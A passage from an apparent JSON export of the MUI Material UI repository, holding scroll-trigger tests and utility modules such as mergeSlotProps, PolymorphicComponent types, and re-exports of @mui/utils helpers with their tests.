result: 'false' },\n        { offset: 99, result: 'false' },\n        { offset: 100, result: 'false' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should not trigger at exact threshold value with hysteresis disabled with ref', () => {\n      render(<Test customContainer disableHysteresis threshold={100} />);\n      [\n        { offset: 100, result: 'false' },\n        { offset: 99, result: 'false' },\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 100, result: 'false' },\n        { offset: 99, result: 'false' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should correctly evaluate sequential scroll events with identical scrollY offsets with ref', () => {\n      render(<Test customContainer threshold={199} />);\n      [\n        { offset: 200, result: 'true' },\n        { offset: 200, result: 'true' },\n        { offset: 200, result: 'true' },\n        { offset: 199, result: 'false' },\n        { offset: 199, result: 'false' },\n        { offset: 199, result: 'false' },\n        { offset: 200, result: 'true' },\n        { offset: 200, result: 'true' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should correctly evaluate sequential scroll events with identical scrollY offsets and hysteresis disabled with ref', () => {\n      render(<Test customContainer disableHysteresis threshold={199} />);\n      [\n        { offset: 200, result: 'true' },\n        { offset: 200, result: 'true' },\n        { offset: 200, result: 'true' },\n        { offset: 199, result: 'false' },\n        { offset: 199, result: 'false' },\n        { offset: 199, result: 'false' },\n        { offset: 200, result: 'true' },\n        { offset: 200, result: 'true' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should correctly evaluate scroll events on page first load', () => {\n      [\n        { offset: 101, result: 'true' },\n        { offset: 100, result: 'false' },\n      ].forEach((test, index) => {\n        window.pageYOffset = test.offset;\n        render(<Test threshold={100} />);\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/utils/PolymorphicComponent.ts",
    "content": "import * as React from 'react';\nimport { DistributiveOmit, OverridableTypeMap } from '@mui/types';\n\n/**\n * A component whose root component can be controlled explicitly with a generic type parameter.\n * Adjusts valid props based on the type of `RootComponent`.\n *\n * @template TypeMap The interface the defines the props and a default root element of the component.\n */\nexport type PolymorphicComponent<TypeMap extends OverridableTypeMap> = {\n  <RootComponent extends React.ElementType = TypeMap['defaultComponent']>(\n    props: PolymorphicProps<TypeMap, RootComponent>,\n  ): React.JSX.Element | null;\n  propTypes?: any;\n  displayName?: string | undefined;\n};\n\n/**\n * Own props of the component augmented with props of the root component.\n */\nexport type PolymorphicProps<\n  TypeMap extends OverridableTypeMap,\n  RootComponent extends React.ElementType,\n> = TypeMap['props'] &\n  DistributiveOmit<React.ComponentPropsWithRef<RootComponent>, keyof TypeMap['props']>;\n"
  },
  {
    "path": "packages/mui-material/src/utils/areArraysEqual.ts",
    "content": "type ItemComparer<Item> = (a: Item, b: Item) => boolean;\n\nfunction areArraysEqual<Item>(\n  array1: ReadonlyArray<Item>,\n  array2: ReadonlyArray<Item>,\n  itemComparer: ItemComparer<Item> = (a, b) => a === b,\n) {\n  return (\n    array1.length === array2.length &&\n    array1.every((value, index) => itemComparer(value, array2[index]))\n  );\n}\n\nexport default areArraysEqual;\n"
  },
  {
    "path": "packages/mui-material/src/utils/capitalize.d.ts",
    "content": "import capitalize from '@mui/utils/capitalize';\n\nexport default capitalize;\n"
  },
  {
    "path": "packages/mui-material/src/utils/capitalize.js",
    "content": "import capitalize from '@mui/utils/capitalize';\n\nexport default capitalize;\n"
  },
  {
    "path": "packages/mui-material/src/utils/createChainedFunction.d.ts",
    "content": "import createChainedFunction from '@mui/utils/createChainedFunction';\n\nexport default createChainedFunction;\n"
  },
  {
    "path": "packages/mui-material/src/utils/createChainedFunction.js",
    "content": "import createChainedFunction from '@mui/utils/createChainedFunction';\n\nexport default createChainedFunction;\n"
  },
  {
    "path": "packages/mui-material/src/utils/createSimplePaletteValueFilter.ts",
    "content": "import { PaletteColorOptions, SimplePaletteColorOptions } from '../styles/createPalette';\n\n/**\n * Type guard to check if the object has a \"main\" property of type string.\n *\n * @param obj - the object to check\n * @returns boolean\n */\nfunction hasCorrectMainProperty(obj: PaletteColorOptions): obj is SimplePaletteColorOptions {\n  return typeof (obj as SimplePaletteColorOptions).main === 'string';\n}\n\ntype AdditionalPropertiesToCheck = (keyof Omit<SimplePaletteColorOptions, 'main'>)[];\n\n/**\n * Checks if the object conforms to the SimplePaletteColorOptions type.\n * The minimum requirement is that the object has a \"main\" property of type string, this is always checked.\n * Optionally, you can pass additional properties to check.\n *\n * @param obj - The object to check\n * @param additionalPropertiesToCheck - Array containing \"light\", \"dark\", and/or \"contrastText\"\n * @returns boolean\n */\nfunction checkSimplePaletteColorValues(\n  obj: PaletteColorOptions,\n  additionalPropertiesToCheck: AdditionalPropertiesToCheck = [],\n): boolean {\n  if (!hasCorrectMainProperty(obj)) {\n    return false;\n  }\n\n  for (const value of additionalPropertiesToCheck) {\n    if (!obj.hasOwnProperty(value) || typeof obj[value] !== 'string') {\n      return false;\n    }\n  }\n\n  return true;\n}\n\n/**\n * Creates a filter function used to filter simple palette color options.\n * The minimum requirement is that the object has a \"main\" property of type string, this is always checked.\n * Optionally, you can pass additional properties to check.\n *\n * @param additionalPropertiesToCheck - Array containing \"light\", \"dark\", and/or \"contrastText\"\n * @returns ([, value]: [any, PaletteColorOptions]) => boolean\n */\nexport default function createSimplePaletteValueFilter(\n  additionalPropertiesToCheck: AdditionalPropertiesToCheck = [],\n) {\n  return ([, value]: [any, PaletteColorOptions]) =>\n    value && checkSimplePaletteColorValues(value, additionalPropertiesToCheck);\n}\n"
  },
  {
    "path": "packages/mui-material/src/utils/createSvgIcon.d.ts",
    "content": "/**\n * @deprecated Import `createSvgIcon` from `@mui/material/SvgIcon` instead.\n */\nexport { default } from '../SvgIcon/createSvgIcon';\n"
  },
  {
    "path": "packages/mui-material/src/utils/createSvgIcon.js",
    "content": "/**\n * @deprecated Import `createSvgIcon` from `@mui/material/SvgIcon` instead.\n */\nexport { default } from '../SvgIcon/createSvgIcon';\n"
  },
  {
    "path": "packages/mui-material/src/utils/debounce.d.ts",
    "content": "import debounce from '@mui/utils/debounce';\n\nexport default debounce;\n"
  },
  {
    "path": "packages/mui-material/src/utils/debounce.js",
    "content": "import debounce from '@mui/utils/debounce';\n\nexport default debounce;\n"
  },
  {
    "path": "packages/mui-material/src/utils/deprecatedPropType.d.ts",
    "content": "import deprecatedPropType from '@mui/utils/deprecatedPropType';\n\nexport default deprecatedPropType;\n"
  },
  {
    "path": "packages/mui-material/src/utils/deprecatedPropType.js",
    "content": "import deprecatedPropType from '@mui/utils/deprecatedPropType';\n\nexport default deprecatedPropType;\n"
  },
  {
    "path": "packages/mui-material/src/utils/getActiveElement.ts",
    "content": "import getActiveElement from '@mui/utils/getActiveElement';\n\nexport default getActiveElement;\n"
  },
  {
    "path": "packages/mui-material/src/utils/getScrollbarSize.ts",
    "content": "import getScrollbarSize from '@mui/utils/getScrollbarSize';\n\nexport default getScrollbarSize;\n"
  },
  {
    "path": "packages/mui-material/src/utils/index.d.ts",
    "content": "export { default as unstable_ClassNameGenerator } from '@mui/utils/ClassNameGenerator';\nexport { default as capitalize } from './capitalize';\nexport { default as createChainedFunction } from './createChainedFunction';\nexport { default as createSvgIcon } from './createSvgIcon';\nexport { default as debounce } from './debounce';\nexport { default as deprecatedPropType } from './deprecatedPropType';\nexport { default as isMuiElement } from './isMuiElement';\nexport { default as getActiveElement } from './getActiveElement';\nexport { default as unstable_memoTheme } from './memoTheme';\nexport { default as ownerDocument } from './ownerDocument';\nexport { default as ownerWindow } from './ownerWindow';\nexport { default as requirePropFactory } from './requirePropFactory';\nexport { default as setRef } from './setRef';\nexport { default as unstable_useEnhancedEffect } from './useEnhancedEffect';\nexport { default as unstable_useId } from './useId';\nexport { default as unsupportedProp } from './unsupportedProp';\nexport { default as useControlled } from './useControlled';\nexport { default as useEventCallback } from './useEventCallback';\nexport { default as useRovingTabIndex } from './useRovingTabIndex';\nexport { default as useForkRef } from './useForkRef';\nexport { default as mergeSlotProps } from './mergeSlotProps';\nexport * from './types';\n"
  },
  {
    "path": "packages/mui-material/src/utils/index.js",
    "content": "'use client';\nimport ClassNameGenerator from '@mui/utils/ClassNameGenerator';\n\nexport { default as capitalize } from './capitalize';\nexport { default as createChainedFunction } from './createChainedFunction';\nexport { default as createSvgIcon } from './createSvgIcon';\nexport { default as debounce } from './debounce';\nexport { default as deprecatedPropType } from './deprecatedPropType';\nexport { default as isMuiElement } from './isMuiElement';\nexport { default as getActiveElement } from './getActiveElement';\nexport { default as unstable_memoTheme } from './memoTheme';\nexport { default as ownerDocument } from './ownerDocument';\nexport { default as ownerWindow } from './ownerWindow';\nexport { default as requirePropFactory } from './requirePropFactory';\nexport { default as setRef } from './setRef';\nexport { default as unstable_useEnhancedEffect } from './useEnhancedEffect';\nexport { default as unstable_useId } from './useId';\nexport { default as unsupportedProp } from './unsupportedProp';\nexport { default as useControlled } from './useControlled';\nexport { default as useEventCallback } from './useEventCallback';\nexport { default as useRovingTabIndex } from './useRovingTabIndex';\nexport { default as useForkRef } from './useForkRef';\nexport { default as mergeSlotProps } from './mergeSlotProps';\n// TODO: remove this export once ClassNameGenerator is stable\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport const unstable_ClassNameGenerator = {\n  configure: (generator) => {\n    if (process.env.NODE_ENV !== 'production') {\n      console.warn(\n        [\n          'MUI: `ClassNameGenerator` import from `@mui/material/utils` is outdated and might cause unexpected issues.',\n          '',\n          \"You should use `import { unstable_ClassNameGenerator } from '@mui/material/className'` instead\",\n          '',\n          'The detail of the issue: https://github.com/mui/material-ui/issues/30011#issuecomment-1024993401',\n          '',\n          'The updated documentation: https://mui.com/guides/classname-generator/',\n        ].join('\\n'),\n      );\n    }\n    ClassNameGenerator.configure(generator);\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/utils/isLayoutSupported.ts",
    "content": "export default function isLayoutSupported(): boolean {\n  return !(\n    /jsdom|HappyDOM/.test(window.navigator.userAgent) ||\n    // TODO(v9): Remove the test environment check\n    // eslint-disable-next-line mui/consistent-production-guard\n    process.env.NODE_ENV === 'test'\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/utils/isMuiElement.d.ts",
    "content": "import isMuiElement from '@mui/utils/isMuiElement';\n\nexport default isMuiElement;\n"
  },
  {
    "path": "packages/mui-material/src/utils/isMuiElement.js",
    "content": "import isMuiElement from '@mui/utils/isMuiElement';\n\nexport default isMuiElement;\n"
  },
  {
    "path": "packages/mui-material/src/utils/isMuiElement.test.js",
    "content": "import { expect } from 'chai';\n\nimport { isMuiElement } from '.';\nimport { Input, ListItemSecondaryAction, SvgIcon } from '..';\n\ndescribe('utils/index.js', () => {\n  describe('isMuiElement', () => {\n    it('should match static muiName property', () => {\n      function Component() {\n        return null;\n      }\n      Component.muiName = 'Component';\n\n      expect(isMuiElement(<Component />, ['Component'])).to.equal(true);\n      expect(isMuiElement(<div />, ['Input'])).to.equal(false);\n      expect(isMuiElement(null, ['SvgIcon'])).to.equal(false);\n      expect(isMuiElement('TextNode', ['SvgIcon'])).to.equal(false);\n    });\n\n    it('should be truthy for matching components', () => {\n      [\n        [Input, 'Input'],\n        [ListItemSecondaryAction, 'ListItemSecondaryAction'],\n        [SvgIcon, 'SvgIcon'],\n      ].forEach(([Component, muiName]) => {\n        expect(isMuiElement(<Component />, [muiName])).to.equal(true);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/utils/memoTheme.ts",
    "content": "import { unstable_memoTheme } from '@mui/system';\nimport { Theme } from '../styles/createTheme';\n\nconst memoTheme = unstable_memoTheme<Theme>;\n\nexport default memoTheme;\n"
  },
  {
    "path": "packages/mui-material/src/utils/mergeSlotProps.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport Box from '@mui/material/Box';\nimport Dialog, { DialogProps } from '@mui/material/Dialog';\nimport Tooltip, { TooltipProps } from '@mui/material/Tooltip';\nimport { mergeSlotProps, SlotComponentProps } from '@mui/material/utils';\n\n// without explicit type\nconst slotProps = mergeSlotProps(undefined, { className: 'foo', 'aria-label': 'bar' });\nexpectType<SlotComponentProps<React.ElementType, {}, {}>, typeof slotProps>(slotProps);\n\n// explicit external slot props type\nconst defaultProps = mergeSlotProps<{ foo: string }>(undefined, { foo: 'bar' });\nexpectType<{ foo: string }, typeof defaultProps>(defaultProps);\n\n// explicit slot props type with function\nconst externalSlotProps = mergeSlotProps<\n  (ownerState: { foo: string }) => { foo: string },\n  { foo: string }\n>(() => ({ foo: 'external' }), { foo: 'default' })({ foo: '' });\nexpectType<{ foo: string }, typeof externalSlotProps>(externalSlotProps);\n\nexport const CustomTooltip = (props: TooltipProps) => {\n  const { children, title } = props;\n\n  return (\n    <Tooltip\n      {...props}\n      title={<Box sx={{ p: 4 }}>{title}</Box>}\n      slotProps={{\n        ...props.slotProps,\n        popper: mergeSlotProps(props.slotProps?.popper, {\n          className: 'custom-tooltip',\n          disablePortal: true,\n          placement: 'top',\n        }),\n      }}\n    >\n      {children}\n    </Tooltip>\n  );\n};\n\nexport const CustomTooltip2 = (props: TooltipProps) => {\n  const { children, title } = props;\n\n  // to ensure that the return type of `mergeSlotProps` is correctly inferred\n  const popperProps = mergeSlotProps(props.slotProps?.popper, {\n    className: 'custom-tooltip',\n    disablePortal: true,\n    placement: 'top',\n  });\n  return (\n    <Tooltip\n      {...props}\n      title={<Box sx={{ p: 4 }}>{title}</Box>}\n      slotProps={{\n        ...props.slotProps,\n        popper: popperProps,\n      }}\n    >\n      {children}\n    </Tooltip>\n  );\n};\n\ntype SimpleDialogProps = Omit<DialogProps, 'children' | 'onClose'> & {\n  onClose: () => void;\n};\nfunction UserDetailsDialog(props: SimpleDialogProps) {\n  const { onClose, slotProps: dialogSlotProps, ...dialogProps } = props;\n\n  return (\n    <Dialog\n      onClose={() => onClose()}\n      slotProps={{\n        ...dialogSlotProps,\n        transition: mergeSlotProps(dialogSlotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...dialogProps}\n    >\n      content\n    </Dialog>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/utils/mergeSlotProps.test.ts",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { SxProps } from '@mui/material/styles';\n\nimport mergeSlotProps from './mergeSlotProps';\n\ntype OwnerState = {\n  className: string;\n  'aria-label'?: string;\n  style?: React.CSSProperties;\n};\n\ndescribe('utils/index.js', () => {\n  describe('mergeSlotProps', () => {\n    it('external slot props is undefined', () => {\n      expect(\n        mergeSlotProps<OwnerState>(undefined, {\n          className: 'default',\n          'aria-label': 'foo',\n        }),\n      ).to.deep.equal({\n        className: 'default',\n        'aria-label': 'foo',\n      });\n    });\n\n    it('merge styles', () => {\n      expect(\n        mergeSlotProps<{ style: React.CSSProperties }>(\n          { style: { color: 'red' } },\n          { style: { backgroundColor: 'blue' } },\n        ),\n      ).to.deep.equal({\n        style: { color: 'red', backgroundColor: 'blue' },\n      });\n\n      // external styles should override\n      expect(\n        mergeSlotProps<{ style: React.CSSProperties }>(\n          { style: { backgroundColor: 'red' } },\n          { style: { backgroundColor: 'blue' } },\n        ),\n      ).to.deep.equal({\n        style: { backgroundColor: 'red' },\n      });\n    });\n\n    it('merge sx', () => {\n      expect(\n        mergeSlotProps<{ sx: SxProps }>(\n          { sx: { color: 'red' } },\n          { sx: { backgroundColor: 'blue' } },\n        ),\n      ).to.deep.equal({\n        sx: [{ backgroundColor: 'blue' }, { color: 'red' }],\n      });\n    });\n\n    it('merge sx array', () => {\n      expect(\n        mergeSlotProps<{ sx: SxProps }>(\n          { sx: [{ color: 'red', '&.Mui-disabled': { opacity: 0 } }] },\n          { sx: [{ backgroundColor: 'blue', '&.Mui-disabled': { opacity: 0.5 } }] },\n        ),\n      ).to.deep.equal({\n        sx: [\n          { backgroundColor: 'blue', '&.Mui-disabled': { opacity: 0.5 } },\n          { color: 'red', '&.Mui-disabled': { opacity: 0 } },\n        ],\n      });\n    });\n\n    it('external slot props should override', () => {\n      expect(\n        mergeSlotProps<OwnerState>(\n          { className: 'external', 'aria-label': 'bar' },\n          { className: 'default', 'aria-label': 'foo' },\n        ),\n      ).to.deep.equal({\n        className: 'default external',\n        'aria-label': 'bar',\n      });\n    });\n\n    it('external slot props is a function', () => {\n      expect(\n        mergeSlotProps<(ownerState: OwnerState) => OwnerState, OwnerState>(\n          () => ({\n            className: 'external',\n          }),\n          { className: 'default', 'aria-label': 'foo' },\n        )({ className: '' }),\n      ).to.deep.equal({\n        className: 'default external',\n        'aria-label': 'foo',\n      });\n    });\n\n    it('default slot props is a function', () => {\n      expect(\n        mergeSlotProps<OwnerState, (ownerState: OwnerState) => OwnerState>(\n          {\n            className: 'external',\n          },\n          () => ({ className: 'default', 'aria-label': 'foo' }),\n        )({ className: 'base' }),\n      ).to.deep.equal({\n        className: 'base default external',\n        'aria-label': 'foo',\n      });\n    });\n\n    it('both slot props are functions', () => {\n      expect(\n        mergeSlotProps<(ownerState: OwnerState) => OwnerState>(\n          () => ({\n            className: 'external',\n          }),\n          () => ({\n            className: 'default',\n            'aria-label': 'foo',\n          }),\n        )({ className: 'base' }),\n      ).to.deep.equal({\n        className: 'base default external',\n        'aria-label': 'foo',\n      });\n    });\n\n    it('merge styles for callbacks', () => {\n      expect(\n        mergeSlotProps(\n          () => ({\n            style: { color: 'red' },\n          }),\n          () => ({\n            style: { backgroundColor: 'blue' },\n          }),\n        )(),\n      ).to.deep.equal({\n        style: { color: 'red', backgroundColor: 'blue' },\n      });\n\n      // external styles should override\n      expect(\n        mergeSlotProps(\n          () => ({\n            style: { backgroundColor: 'red' },\n          }),\n          () => ({\n            style: { backgroundColor: 'blue' },\n          }),\n        )(),\n      ).to.deep.equal({\n        style: { backgroundColor: 'red' },\n      });\n    });\n\n    it('merge sx for callback', () => {\n      expect(\n        mergeSlotProps(\n          () => ({\n            sx: { color: 'red' },\n          }),\n          () => ({\n            sx: { backgroundColor: 'blue' },\n          }),\n        )(),\n      ).to.deep.equal({\n        sx: [{ backgroundColor: 'blue' }, { color: 'red' }],\n      });\n    });\n\n    it('merge sx array for callback', () => {\n      expect(\n        mergeSlotProps(\n          () => ({ sx: [{ color: 'red', '&.Mui-disabled': { opacity: 0 } }] }),\n          () => ({ sx: [{ backgroundColor: 'blue', '&.Mui-disabled': { opacity: 0.5 } }] }),\n        )(),\n      ).to.deep.equal({\n        sx: [\n          { backgroundColor: 'blue', '&.Mui-disabled': { opacity: 0.5 } },\n          { color: 'red', '&.Mui-disabled': { opacity: 0 } },\n        ],\n      });\n    });\n\n    it('external callback should be called with default slot props', () => {\n      expect(\n        mergeSlotProps<(ownerState: OwnerState) => OwnerState>(\n          ({ 'aria-label': ariaLabel }) => ({\n            className: 'external',\n            'aria-label': ariaLabel === 'foo' ? 'bar' : 'baz',\n          }),\n          () => ({\n            className: 'default',\n            'aria-label': 'foo',\n          }),\n        )({ className: 'base', 'aria-label': 'unknown' }),\n      ).to.deep.equal({\n        className: 'base default external',\n        'aria-label': 'bar',\n      });\n    });\n\n    it('automatically merge function based on the default slot props', () => {\n      const slotPropsOnClick = spy();\n      const defaultPropsOnClick = spy();\n\n      const defaultPropsOnChange = spy();\n\n      const slotPropsFoo = spy();\n      const defaultPropsFoo = spy();\n\n      const mergedSlotProps = mergeSlotProps<{\n        onClick: (arg1: string, arg2: string) => string;\n        onChange?: (arg1: string, arg2: string) => string;\n        foo: (arg1: string, arg2: string) => string;\n      }>(\n        {\n          onClick: slotPropsOnClick,\n          foo: slotPropsFoo,\n        },\n        {\n          onClick: defaultPropsOnClick,\n          onChange: defaultPropsOnChange,\n          foo: defaultPropsFoo,\n        },\n      );\n\n      mergedSlotProps.onClick('arg1', 'arg2');\n      expect(defaultPropsOnClick.callCount).to.equal(1);\n      expect(defaultPropsOnClick.args[0]).to.deep.equal(['arg1', 'arg2']);\n      expect(slotPropsOnClick.callCount).to.equal(1);\n      expect(slotPropsOnClick.args[0]).to.deep.equal(['arg1', 'arg2']);\n\n      mergedSlotProps.onChange?.('arg1', 'arg2');\n      expect(defaultPropsOnChange.callCount).to.equal(1);\n      expect(defaultPropsOnChange.args[0]).to.deep.equal(['arg1', 'arg2']);\n\n      mergedSlotProps.foo('arg1', 'arg2');\n      expect(defaultPropsFoo.callCount).to.equal(0);\n      expect(slotPropsFoo.callCount).to.equal(1);\n      expect(slotPropsFoo.args[0]).to.deep.equal(['arg1', 'arg2']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/utils/mergeSlotProps.ts",
    "content": "import { SlotComponentProps } from '@mui/utils/types';\nimport clsx from 'clsx';\n\n// Brought from [Base UI](https://github.com/mui/base-ui/blob/master/packages/react/src/merge-props/mergeProps.ts#L119)\n// Use it directly from Base UI once it's a package dependency.\nfunction isEventHandler(key: string, value: unknown) {\n  // This approach is more efficient than using a regex.\n  const thirdCharCode = key.charCodeAt(2);\n  return (\n    key[0] === 'o' &&\n    key[1] === 'n' &&\n    thirdCharCode >= 65 /* A */ &&\n    thirdCharCode <= 90 /* Z */ &&\n    typeof value === 'function'\n  );\n}\n\nexport default function mergeSlotProps<\n  T extends SlotComponentProps<React.ElementType, {}, {}>,\n  K = T,\n  // infer external slot props first to provide autocomplete for default slot props\n  U = T extends Function ? T : K extends Function ? K : T extends undefined ? K : T,\n>(externalSlotProps: T | undefined, defaultSlotProps: K): U {\n  if (!externalSlotProps) {\n    return defaultSlotProps as unknown as U;\n  }\n  function extractHandlers(\n    externalSlotPropsValue: Record<string, any>,\n    defaultSlotPropsValue: Record<string, any>,\n  ) {\n    const handlers: Record<string, Function> = {};\n\n    Object.keys(defaultSlotPropsValue).forEach((key) => {\n      if (\n        isEventHandler(key, defaultSlotPropsValue[key]) &&\n        typeof externalSlotPropsValue[key] === 'function'\n      ) {\n        // only compose the handlers if both default and external slot props match the event handler\n        handlers[key] = (...args: unknown[]) => {\n          externalSlotPropsValue[key](...args);\n          defaultSlotPropsValue[key](...args);\n        };\n      }\n    });\n    return handlers;\n  }\n  if (typeof externalSlotProps === 'function' || typeof defaultSlotProps === 'function') {\n    return ((ownerState: Record<string, any>) => {\n      const defaultSlotPropsValue =\n        typeof defaultSlotProps === 'function' ? defaultSlotProps(ownerState) : defaultSlotProps;\n      const externalSlotPropsValue =\n        typeof externalSlotProps === 'function'\n          ? externalSlotProps({ ...ownerState, ...defaultSlotPropsValue })\n          : externalSlotProps;\n\n      const className = clsx(\n        ownerState?.className,\n        defaultSlotPropsValue?.className,\n        externalSlotPropsValue?.className,\n      );\n      const handlers = extractHandlers(externalSlotPropsValue, defaultSlotPropsValue);\n\n      return {\n        ...defaultSlotPropsValue,\n        ...externalSlotPropsValue,\n        ...handlers,\n        ...(!!className && { className }),\n        ...(defaultSlotPropsValue?.style &&\n          externalSlotPropsValue?.style && {\n            style: { ...defaultSlotPropsValue.style, ...externalSlotPropsValue.style },\n          }),\n        ...(defaultSlotPropsValue?.sx &&\n          externalSlotPropsValue?.sx && {\n            sx: [\n              ...(Array.isArray(defaultSlotPropsValue.sx)\n                ? defaultSlotPropsValue.sx\n                : [defaultSlotPropsValue.sx]),\n              ...(Array.isArray(externalSlotPropsValue.sx)\n                ? externalSlotPropsValue.sx\n                : [externalSlotPropsValue.sx]),\n            ],\n          }),\n      };\n    }) as U;\n  }\n  const typedDefaultSlotProps = defaultSlotProps as Record<string, any>;\n  const handlers = extractHandlers(externalSlotProps, typedDefaultSlotProps);\n  const className = clsx(typedDefaultSlotProps?.className, externalSlotProps?.className);\n  return {\n    ...defaultSlotProps,\n    ...externalSlotProps,\n    ...handlers,\n    ...(!!className && { className }),\n    ...(typedDefaultSlotProps?.style &&\n      externalSlotProps?.style && {\n        style: { ...typedDefaultSlotProps.style, ...externalSlotProps.style },\n      }),\n    ...(typedDefaultSlotProps?.sx &&\n      externalSlotProps?.sx && {\n        sx: [\n          ...(Array.isArray(typedDefaultSlotProps.sx)\n            ? typedDefaultSlotProps.sx\n            : [typedDefaultSlotProps.sx]),\n          ...(Array.isArray(externalSlotProps.sx) ? externalSlotProps.sx : [externalSlotProps.sx]),\n        ],\n      }),\n  } as U;\n}\n"
  },
  {
    "path": "packages/mui-material/src/utils/omitEventHandlers.ts",
    "content": "/**\n * Removes event handlers from the given object.\n * A field is considered an event handler if it is a function with a name beginning with `on`.\n *\n * @param object Object to remove event handlers from.\n * @returns Object with event handlers removed.\n */\nfunction omitEventHandlers<Props extends Record<string, unknown>>(object: Props | undefined) {\n  if (object === undefined) {\n    return {};\n  }\n\n  const result = {} as Partial<Props>;\n\n  Object.keys(object)\n    .filter((prop) => !(prop.match(/^on[A-Z]/) && typeof object[prop] === 'function'))\n    .forEach((prop) => {\n      (result[prop] as any) = object[prop];\n    });\n\n  return result;\n}\n\nexport default omitEventHandlers;\n"
  },
  {
    "path": "packages/mui-material/src/utils/ownerDocument.ts",
    "content": "import ownerDocument from '@mui/utils/ownerDocument';\n\nexport default ownerDocument;\n"
  },
  {
    "path": "packages/mui-material/src/utils/ownerWindow.ts",
    "content": "import ownerWindow from '@mui/utils/ownerWindow';\n\nexport default ownerWindow;\n"
  },
  {
    "path": "packages/mui-material/src/utils/requirePropFactory.d.ts",
    "content": "import requirePropFactory from '@mui/utils/requirePropFactory';\n\nexport default requirePropFactory;\n"
  },
  {
    "path": "packages/mui-material/src/utils/requirePropFactory.js",
    "content": "import requirePropFactory from '@mui/utils/requirePropFactory';\n\nexport default requirePropFactory;\n"
  },
  {
    "path": "packages/mui-material/src/utils/setRef.ts",
    "content": "import setRef from '@mui/utils/setRef';\n\nexport default setRef;\n"
  },
  {
    "path": "packages/mui-material/src/utils/shouldSpreadAdditionalProps.js",
    "content": "import isHostComponent from '@mui/utils/isHostComponent';\n\nconst shouldSpreadAdditionalProps = (Slot) => {\n  return !Slot || !isHostComponent(Slot);\n};\n\nexport default shouldSpreadAdditionalProps;\n"
  },
  {
    "path": "packages/mui-material/src/utils/types.ts",
    "content": "import { SxProps } from '@mui/system';\nimport { SlotComponentProps } from '@mui/utils/types';\nimport { Theme } from '../styles';\n\nexport type {\n  EventHandlers,\n  WithOptionalOwnerState,\n  SlotComponentProps,\n  SlotComponentPropsWithSlotState,\n} from '@mui/utils/types';\n\nexport type SlotCommonProps = {\n  component?: React.ElementType | undefined;\n  sx?: SxProps<Theme> | undefined;\n};\n\nexport type SlotProps<\n  TSlotComponent extends React.ElementType,\n  TOverrides,\n  TOwnerState,\n> = SlotComponentProps<TSlotComponent, SlotCommonProps & TOverrides, TOwnerState>;\n\n/**\n * Use the keys of `Slots` to make sure that K contains all of the keys\n *\n * @example CreateSlotsAndSlotProps<{ root: React.ElementType, decorator: React.ElementType }, { root: ..., decorator: ... }>\n */\nexport type CreateSlotsAndSlotProps<Slots, K extends Record<keyof Slots, any>> = {\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots?: Partial<Slots> | undefined;\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps?:\n    | {\n        [P in keyof K]?: K[P];\n      }\n    | undefined;\n};\n"
  },
  {
    "path": "packages/mui-material/src/utils/unsupportedProp.d.ts",
    "content": "import unsupportedProp from '@mui/utils/unsupportedProp';\n\nexport default unsupportedProp;\n"
  },
  {
    "path": "packages/mui-material/src/utils/unsupportedProp.js",
    "content": "import unsupportedProp from '@mui/utils/unsupportedProp';\n\nexport default unsupportedProp;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useControlled.d.ts",
    "content": "import useControlled from '@mui/utils/useControlled';\n\nexport default useControlled;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useControlled.js",
    "content": "'use client';\nimport useControlled from '@mui/utils/useControlled';\n\nexport default useControlled;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useEnhancedEffect.d.ts",
    "content": "import useEnhancedEffect from '@mui/utils/useEnhancedEffect';\n\nexport default useEnhancedEffect;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useEnhancedEffect.js",
    "content": "'use client';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\n\nexport default useEnhancedEffect;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useEventCallback.d.ts",
    "content": "import useEventCallback from '@mui/utils/useEventCallback';\n\nexport default useEventCallback;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useEventCallback.js",
    "content": "'use client';\nimport useEventCallback from '@mui/utils/useEventCallback';\n\nexport default useEventCallback;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useFocusableWhenDisabled.test.tsx",
